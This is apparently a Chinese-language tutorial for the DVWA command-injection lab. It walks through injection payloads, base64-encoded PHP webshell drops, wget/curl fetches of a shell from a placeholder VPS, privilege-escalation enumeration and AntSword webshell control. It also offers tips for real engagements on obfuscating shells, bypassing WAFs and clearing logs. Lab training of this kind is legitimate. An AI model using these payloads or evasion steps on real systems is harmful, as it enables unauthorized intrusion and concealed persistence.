1. 项目概述与核心价值最近在带新人做安全渗透测试的入门练习发现很多朋友在DVWADamn Vulnerable Web Application的命令注入关卡上卡壳。问题往往不是出在漏洞原理的理解上而是卡在了“环境”和“流程”上。明明按照教程输入了127.0.0.1 whoami返回的却是一堆乱码或者命令执行成功了却不知道下一步该怎么利用这个入口点。更别提在Windows和Linux不同平台上命令的写法、工具的连接方式还有细微差别这让很多初学者感到挫败。这个实战流程就是专门为了解决这些问题而梳理的。它不仅仅是一个“通关教程”更是一套从漏洞触发、到乱码修复、再到建立稳定后门连接的完整作战手册。无论你是在Windows上用XAMPP搭建的DVWA还是在Ubuntu、Kali Linux上用LAMP套件搭建的环境都能在这套流程里找到对应的操作路径。最终的目标很明确通过命令注入漏洞成功上传中国蚁剑AntSword的WebShell并建立图形化的管理连接。这个过程会涉及到系统命令的拼接、编码技巧、文件上传下载、以及权限维持的初步思路是Web安全入门者必须掌握的“肌肉记忆”。2. 环境准备与乱码根源分析2.1 双平台DVWA环境搭建要点在开始注入之前一个“标准”的DVWA环境是基础。这里的“标准”指的是没有经过特殊安全配置、能够稳定复现漏洞的初始状态。Windows平台以XAMPP为例下载与安装从Apache Friends官网下载XAMPP for Windows安装包。安装路径建议选择C:\xampp避免中文和空格。部署DVWA将下载的DVWA源码包解压并将其中的文件全部复制到C:\xampp\htdocs\dvwa目录下。配置文件修改找到C:\xampp\htdocs\dvwa\config目录将config.inc.php.dist文件复制一份重命名为config.inc.php。用文本编辑器打开这个新文件找到数据库配置部分通常只需要确认以下几项$_DVWA[ db_server ] 127.0.0.1; $_DVWA[ db_database ] dvwa; $_DVWA[ db_user ] root; $_DVWA[ db_password ] ; // XAMPP默认root密码为空初始化数据库启动XAMPP Control Panel开启Apache和MySQL服务。在浏览器访问http://localhost/dvwa/setup.php点击页面底部的“Create / Reset Database”按钮。成功后使用默认账号admin/password登录即可。Linux平台以Ubuntu/Kali为例一键部署脚本对于Debian/Ubuntu系使用APT包管理器安装LAMP环境和DVWA通常更高效。sudo apt update sudo apt install -y apache2 mysql-server php libapache2-mod-php php-mysql sudo mysql_secure_installation # 运行MySQL安全初始化设置root密码部署与配置cd /var/www/html sudo git clone https://github.com/digininja/DVWA.git sudo chown -R www-data:www-data DVWA/ cd DVWA/config sudo cp config.inc.php.dist config.inc.php sudo nano config.inc.php在编辑器中将db_password修改为你刚才设置的MySQL root密码。调整PHP配置关键为了让DVWA所有漏洞可用需要修改PHP配置以允许包含远程文件用于文件包含漏洞并调整安全级别。sudo nano /etc/php/8.x/apache2/php.ini # 注意8.x替换为你的PHP版本号找到allow_url_include这一行将其值从Off改为On。保存退出后重启Apache服务sudo systemctl restart apache2。访问与初始化浏览器访问http://your_server_ip/DVWA登录凭证同样是admin/password并在安全设置页面将安全级别调整为“Low”。注意无论在哪个平台首次登录后务必进入“DVWA Security”页面将安全级别设置为“Low”。这是为了关闭DVWA内置的一些模拟防护确保我们的注入命令能被顺利执行。2.2 命令注入乱码的成因与修复方案很多新手在DVWA的命令注入Command Injection模块输入127.0.0.1 dir(Windows) 或127.0.0.1 ls(Linux) 后看到的不是预期的目录列表而是一堆像“鎴戠殑鐢ㄦ埛鍚嶆槸”这样的乱码。这并非漏洞利用失败而是字符编码不一致导致的显示问题。乱码产生的根本原因 DVWA的Web界面通常使用UTF-8编码。然而当我们在网页中输入命令服务器后端PHP通过shell_exec()等函数执行后返回的命令行输出流stdout的编码取决于操作系统的默认编码。Windows中文版命令行cmd的默认编码是GBK或GB2312。Linux系统终端的默认编码通常是UTF-8但某些环境变量如LANG设置不当也可能导致问题。当GBK编码的文本被当作UTF-8编码在网页上渲染时就会产生乱码。反之如果Linux下某些命令输出包含特殊字符而网页未正确识别也可能出现乱码。通用修复方案在命令中主动进行编码转换我们无法轻易改变服务器操作系统的默认编码但可以在注入的命令中先对输出结果进行编码转换再回显。针对Windows平台GBK - UTF-8 我们可以利用Windows自带的certutil命令进行Base64编码将二进制或文本转换为纯ASCII字符绕过编码问题。 注入Payload示例127.0.0.1 whoami | certutil -encode temp.b64 con del temp.b64这个命令的原理是whoami的结果通过管道|传递给certutil -encode它将输入编码为Base64并输出到文件temp.b64和屏幕con。最后del temp.b64清理临时文件。网页上显示的就是Base64编码后的字符串我们复制下来解码即可得到正确结果。针对Linux平台确保UTF-8输出 Linux下更简单可以直接使用base64命令或设置环境变量。 注入Payload示例1Base64127.0.0.1 whoami | base64注入Payload示例2强制UTF-8环境127.0.0.1 LANGen_US.UTF-8 whoami第一种方法最通用可靠第二种方法适用于系统支持但环境变量未设置的情况。实操心得 在实际测试中我推荐将Base64编码作为首选方案。无论是Windows的certutil还是Linux的base64都能生成网页可无损显示的ASCII字符串。这不仅是解决乱码的“银弹”在后续传输二进制文件如WebShell时这也是一个非常实用的技巧。你可以先在本机将WebShell的PHP代码用Base64编码然后在注入的命令里用echo [base64_string] | base64 -d shell.php的方式写入目标服务器完美避开特殊字符和编码问题。3. 命令注入漏洞深度利用与提权3.1 基础命令注入与信息收集在DVWA安全级别设置为Low后命令注入漏洞的利用几乎没有限制。核心漏洞点在vulnerabilities/exec/source/low.php可以看到代码直接拼接了用户输入的$_REQUEST[ ip ]到ping命令中没有任何过滤。基础信息收集Payload 我们的目标是从一个简单的ping测试点逐步扩大战果摸清服务器底细。确认当前用户权限这是最关键的第一步Windows:127.0.0.1 whoamiLinux:127.0.0.1 whoami如果乱码则使用上一节提到的Base64编码Payload查看当前工作目录Windows:127.0.0.1 cdLinux:127.0.0.1 pwd知道当前目录对于后续上传文件至关重要通常DVWA的执行目录就在Web根目录下。列出目录文件寻找Web根目录和可写目录Windows:127.0.0.1 dir C:\Linux:127.0.0.1 ls -la /var/www/html通过遍历找到网站的主目录。在Linux的LAMP环境下通常是/var/www/html或/var/www/html/DVWA在Windows的XAMPP下通常是C:\xampp\htdocs\dvwa。探查系统信息与网络配置Windows:127.0.0.1 systeminfo | findstr /B /C:OS Name /C:OS Version(查看系统版本)Linux:127.0.0.1 uname -a cat /etc/issue(查看内核和系统信息)查看网络连接:127.0.0.1 netstat -an(Windows) 或127.0.0.1 netstat -tulnp(Linux)为什么信息收集如此重要了解当前用户权限是www-data、apache还是nt authority\system直接决定了我们后续能做什么。知道Web根目录我们才知道把WebShell上传到哪里才能通过HTTP访问。系统版本信息则有助于我们判断是否存在已知的本地提权漏洞可以利用。3.2 文件操作与WebShell上传实战在获取了必要信息后下一步就是上传一个WebShell获得一个更稳定、功能更强大的交互式控制界面。这里我们选择最常用的中国蚁剑AntSword的PHP WebShell。方法一直接写入文件适用于有写权限的目录这是最直接的方法前提是当前Web服务运行用户如www-data对目标目录有写权限。DVWA的根目录通常是有写权限的。Linux平台写入127.0.0.1 echo ?php eval($_POST[ant]);? /var/www/html/DVWA/shell.php执行后访问http://your_dvwa_url/shell.php如果页面空白不报错说明写入成功。然后用蚁剑连接密码填ant。Windows平台写入127.0.0.1 echo ^?php eval($_POST^[ant]^);?^ C:\xampp\htdocs\dvwa\shell.php注意在Windows的cmd中、、|等符号是特殊字符需要用^进行转义。这条命令比较“脆弱”容易因空格、引号问题失败。方法二Base64编码写入强烈推荐通用且可靠为了规避命令行中特殊字符如、、、和编码问题将WebShell代码先进行Base64编码是最稳妥的方法。准备WebShell的Base64编码 以一句话木马?php eval($_POST[ant]);?为例。在Linux终端执行echo -n ?php eval($_POST[ant]);? | base64或在网上找Base64编码工具。得到编码后的字符串PD9waHAgQGV2YWwoJF9QT1NUWyJhbnQiXSk7Pz4在目标服务器上解码并写入文件Linux:127.0.0.1 echo PD9waHAgQGV2YWwoJF9QT1NUWyJhbnQiXSk7Pz4 | base64 -d /var/www/html/DVWA/shell.phpWindows:127.0.0.1 echo PD9waHAgQGV2YWwoJF9QT1NUWyJhbnQiXSk7Pz4 temp.b64 certutil -decode temp.b64 C:\xampp\htdocs\dvwa\shell.php del temp.b64这条命令先将Base64字符串写入临时文件temp.b64然后用certutil -decode解码并输出到目标文件最后清理临时文件。方法三利用wget或curl远程下载如果服务器出网如果目标服务器能访问互联网这是最快捷的方式。Linux (wget):127.0.0.1 wget http://your_vps/shell.php -O /var/www/html/DVWA/shell.phpLinux (curl):127.0.0.1 curl http://your_vps/shell.php -o /var/www/html/DVWA/shell.phpWindows (PowerShell):127.0.0.1 powershell -c Invoke-WebRequest -Uri http://your_vps/shell.php -OutFile C:\xampp\htdocs\dvwa\shell.php注意事项上传WebShell后务必第一时间验证其可访问性并尝试连接。同时在真实环境中这种明文的一句话木马极易被安全软件或WAFWeb应用防火墙检测到。在实战中需要对WebShell进行各种混淆、加密变形来绕过检测例如使用AES加密的WebShell或将其代码拆分隐藏到正常文件中。3.3 权限提升思路初探在DVWA的Low级别下命令执行通常就是以Web服务进程的身份如Linux的www-dataWindows的NT AUTHORITY\NETWORK SERVICE运行的。这个权限通常比较低。如果想让攻击效果更深入就需要尝试提权Privilege Escalation。Linux平台提权信息收集 在蚁剑连接成功后我们可以更方便地执行命令来寻找提权线索。查看SUID特殊权限文件find / -perm -us -type f 2/dev/null。查找那些以文件所有者通常是root权限运行的命令如find、vim、bash、cp等如果配置不当可以利用它们提权。查看系统内核版本uname -a。搜索该版本是否有公开的本地提权LPE漏洞利用代码Exploit。查看计划任务cat /etc/crontab或ls -la /etc/cron.*/。查看是否有以root权限运行的定时任务并且任务中的脚本或路径我们可控可写。查看可写的敏感文件find / -writable -type f 2/dev/null | grep -v /proc/ | grep -v /sys/。寻找任何全局可写的配置文件特别是那些在系统启动或服务重启时会被加载的。Windows平台提权信息收集 在蚁剑的虚拟终端中执行查看系统信息和补丁systeminfo。关注“OS 名称”、“OS 版本”和“修补程序”。用这些信息去匹配已知的Windows本地提权漏洞。查看当前用户的特权whoami /priv。查看是否启用了某些危险的权限如SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege这些是经典的土豆Potato系列提权技术利用的条件。查看安装的软件wmic product get name,version或直接去C:\Program Files目录查看。寻找存在已知漏洞的旧版本软件。实操心得 在DVWA这样的练习环境中提权往往不是重点因为环境通常很干净。但这个收集信息的流程必须掌握。在真实的内网渗透中拿到一个WebShell仅仅是起点通过它收集系统信息、网络拓扑、其他主机信息并尝试向更高权限跃迁才是真正的挑战。记住一个原则“信息即资产”你收集到的每一条系统信息、每一个配置文件、每一个其他IP地址都可能成为突破防线的关键。4. 中国蚁剑连接配置与高级管理4.1 蚁剑的安装与基础配置中国蚁剑AntSword是一款开源的跨平台WebShell管理工具图形化界面大大提升了后渗透阶段的效率。虽然标题中提到了“蚁剑官网”但需注意从其官方GitHub仓库下载是更安全可靠的方式。下载与安装访问AntSword的GitHub Releases页面例如 github.com/AntSwordProject/antSword下载对应操作系统的安装包如Windows的.exeLinux/macOS的.AppImage或源码。Windows用户直接运行安装程序即可。Linux用户下载AppImage后可能需要赋予执行权限chmod x AntSword-*.AppImage然后双击运行。初始化与插件 首次运行蚁剑它会提示你设置一个“数据目录”用于存储连接配置、插件和日志。建议选择一个固定的、非系统盘的位置。 为了提高效率建议安装几个核心插件“编码管理”插件内置更多编码解码功能方便绕过WAF。“文件管理”增强插件提供更强大的文件上传、下载、编辑功能。“数据库管理”插件支持直接连接和操作MySQL、SQLite等数据库。 插件可以在蚁剑的“插件市场”或项目Wiki中找到。4.2 连接DVWA中的WebShell成功上传WebShell例如shell.php到DVWA目录后就可以在蚁剑中添加连接了。添加数据在蚁剑主界面右键点击左侧空白区域或点击“添加”按钮。配置连接URL地址填写WebShell的完整访问地址如http://192.168.1.100/dvwa/shell.php。如果DVWA部署在本机可能是http://localhost/dvwa/shell.php。连接密码填写WebShell中设定的密码。在我们之前的例子中密码是ant对应$_POST[ant]。编码器默认选择defaultbase64即可。蚁剑在发送请求前会对Payload进行编码有助于绕过一些简单的防护。其他设置保持默认即可如“请求超时”可以适当调大。测试连接填写完毕后可以点击“测试连接”按钮。如果配置正确会返回“连接成功”的提示并显示服务器的一些基本信息如操作系统、PHP版本、当前用户等。保存与连接点击“添加”该配置会保存到左侧列表。双击即可连接。连接失败排查404错误URL地址错误或WebShell文件未成功上传到正确位置。返回DVWA用命令确认文件是否存在127.0.0.1 ls -la /var/www/html/DVWA/shell.php。500内部服务器错误WebShell代码存在语法错误或者服务器PHP配置禁用了eval()等危险函数。检查DVWA的PHP配置或尝试使用其他写法的WebShell。连接超时网络不通或者目标服务器防火墙阻断了请求。检查IP地址、端口以及服务器防火墙设置。4.3 蚁剑核心功能实战应用成功连接后蚁剑的图形化界面将WebShell的能力大大扩展。虚拟终端 这是最常用的功能相当于一个Web版的命令行。你可以在这里执行ls、cat、whoami等命令结果会以清晰的格式返回彻底告别乱码。对于文件操作它比命令行更直观。文件管理 以图形化方式浏览服务器文件系统支持上传、下载、删除、重命名、编辑文件。在编辑PHP配置文件、查看日志、上传新的攻击载荷时非常方便。小技巧右键点击文件或目录可以选择“打包下载”蚁剑会在服务器端压缩后再下载对于下载大量小文件或目录非常高效。注意编辑重要系统文件前最好先备份。误操作可能导致服务崩溃。数据库管理 如果安装了数据库管理插件并且WebShell所在环境有数据库扩展如mysqli你可以直接在这里添加数据库连接。输入DVWA的数据库地址localhost、用户名root、密码空和数据库名dvwa即可像使用phpMyAdmin一样管理数据库进行SQL查询、导出数据等操作。插件市场与拓展 蚁剑的强大之处在于其插件生态。除了基础功能你可以安装“绕过禁用函数”插件当PHP的system、shell_exec等函数被禁用时尝试使用其他方式如LD_PRELOAD、ImageMagick执行命令。“端口扫描”插件从WebShell所在服务器对内网其他主机进行端口扫描。“杀软识别”插件尝试识别服务器上安装的安全软件以便后续绕过。高级用法自定义编码器与请求头在遇到有WAF防护的网站时默认连接可能失败。这时需要利用蚁剑的“自定义”功能。自定义编码器可以编写JS代码对发送的Payload进行额外的加密、混淆。例如将eval($_POST[‘ant’])转换成$x”eval”; $x($_POST[‘ant’]);这种动态函数调用以绕过静态特征检测。修改请求头可以添加或修改HTTP请求头例如伪造X-Forwarded-For头或者将请求方法从POST改为GET需要WebShell也支持GET型。安全警告蚁剑的所有操作都会在目标服务器的Web日志如Apache的access.log和可能存在的安全审计日志中留下记录。在实战中需要配合日志清理、使用加密WebShell、最小化操作等手段来规避检测。在DVWA练习环境中则可以忽略此问题专注于功能熟悉。5. 跨平台差异详解与问题排查实录5.1 Windows与Linux平台命令差异对照在命令注入实战中Windows的cmd和Linux的bash在语法和可用工具上存在显著差异混淆两者是导致Payload失败的主要原因之一。命令连接符差异Linux/Unix-like (bash):;: 顺序执行无论前一个命令是否成功。A; B: 逻辑与只有前一个命令成功返回0才执行后一个。A B||: 逻辑或只有前一个命令失败返回非0才执行后一个。A || B|: 管道将前一个命令的输出作为后一个命令的输入。A | B 或$(): 命令替换执行括号或反引号内的命令并用其输出替换。echo $(whoami)Windows (cmd):: 顺序执行无论前一个是否成功。A B: 逻辑与同Linux。A B||: 逻辑或同Linux。A || B|: 管道同Linux但行为有时略有不同。A | B%COMMAND%或FOR /F: 用于命令替换但比Linux复杂。例如获取用户名for /f tokens* %i in (whoami) do set user%i然后echo %user%。常用命令对照表功能Linux 命令Windows 命令备注查看当前用户whoamiwhoami通用列出文件ls -ladirWindows下dir功能类似ls -l查看文件内容cat file.txttype file.txt或more file.txt查找文件find / -name *.php 2/dev/nulldir /s /b *.phpWindows的dir /s是递归搜索网络信息ifconfig或ip addripconfig /all网络连接netstat -tulnpnetstat -ano进程列表ps auxtasklist下载文件wget -O file URL或curl -o file URLpowershell -c iwr URL -OutFile file现代Win通常有PowerShell编码/解码Base64echo str | base64,echo str | base64 -dcertutil -encode infile outfile,certutil -decode infile outfileWindows需操作文件路径与空格处理Linux路径分隔符是正斜杠/对空格敏感如果路径包含空格需要用引号包裹或使用反斜杠转义cd /path with spaces或cd /path\ with\ spaces。Windows路径分隔符是反斜杠\虽然在命令中正斜杠/有时也接受路径包含空格时也必须用引号包裹cd C:\Program Files。实操心得 在编写跨平台Payload时一个可靠的策略是先探测系统类型。可以注入一个简单的命令如127.0.0.1 echo %OS%(Windows) 或127.0.0.1 echo $OSTYPE(Linux)。根据返回结果Windows通常返回Windows_NT再决定使用哪一套命令集。在不确定的情况下使用Base64编码传输指令是最稳妥的因为它能最大程度避免特殊字符和空格带来的解析问题。5.2 高频问题排查与解决方案在实际操作中你可能会遇到以下问题。这里提供一个快速排查清单问题现象可能原因解决方案输入Payload后页面无任何回显空白1. 命令执行失败或语法错误。2. 命令有输出但被PHP配置隐藏display_errorsOff。3. 安全级别非Low存在过滤。1. 使用更简单的命令测试如127.0.0.1 echo test123。2. 尝试将输出重定向到Web目录下的一个文件然后通过浏览器访问该文件查看。例如127.0.0.1 whoami /var/www/html/out.txt。3. 确认DVWA安全级别已设置为Low。回显“ping: unknown host ” 或类似错误注入的连接符,;,|被当作ping命令的一部分未能被shell解析。1. 检查输入格式确保IP地址和命令之间有空格的典型格式127.0.0.1 whoami。2. 尝试其他连接符如127.0.0.1 whoami或127.0.0.1 | whoami。3. 在某些特殊配置下可能需要URL编码如将编码为%26%26。蚁剑连接WebShell时返回“500 Internal Server Error”1. WebShell文件不存在或路径错误。2. WebShell代码存在语法错误。3. PHP配置禁用了eval()、assert()等危险函数。1. 通过命令注入确认文件已成功创建且路径正确。2. 检查写入的WebShell代码确保PHP标签完整无多余字符。使用Base64编码写入可避免此问题。3. 查看DVWA的phpinfo()页面可通过命令注入执行php -i并重定向到文件查看搜索disable_functions。如果关键函数被禁用需使用“绕过禁用函数”的技术或换用其他WebShell。蚁剑连接成功但虚拟终端无法执行命令1. PHP的system()、shell_exec()、passthru()等函数被禁用。2. 服务器开启了安全模式safe_mode已废弃但仍有环境使用。3. WebShell的代码执行方式被WAF拦截。1. 在蚁剑的“文件管理”中找到WebShell文件编辑它尝试换用其他PHP执行命令的函数如exec()、popen()、反引号 。2. 尝试使用插件市场中的“绕过禁用函数”插件。3. 使用自定义编码器对蚁剑的通信流量进行混淆。上传的WebShell被安全软件删除目标服务器安装了主机安全软件或杀毒软件。1.尝试混淆对WebShell代码进行混淆、加密、拆分避免静态特征检测。2.利用已有文件不创建新文件而是寻找已有的、可写的Web文件如日志文件、图片文件将代码追加进去然后通过文件包含漏洞来执行。3.内存WebShell高级技巧将WebShell注入到运行的PHP进程内存中不落盘。一个典型的排错流程从简到繁先用127.0.0.1 echo hello测试命令注入是否通畅。确认写权限尝试向Web目录写入一个简单的文本文件127.0.0.1 echo test web_test.txt。分步上传如果直接写入复杂WebShell失败先用Base64编码写入一个最简单的?php phpinfo();?测试文件确认PHP解析正常。环境侦察通过成功的简单WebShell或命令注入执行php -i并重定向到文件下载该文件仔细研究PHP配置这是解决后续所有高级问题的关键。工具适配根据侦察结果调整蚁剑的连接配置编码器、请求头或更换WebShell的类型。这套从乱码修复到蚁剑连接的完整流程覆盖了命令注入漏洞利用中最常见的障碍和步骤。关键在于理解每个环节背后的原理编码问题、系统差异、权限上下文。掌握了这些你就能灵活应对各种变种环境而不仅仅是记住几个固定的Payload命令。安全研究的路很长从这样一个扎实的起点开始逐步构建你的知识体系和实战能力才是最重要的。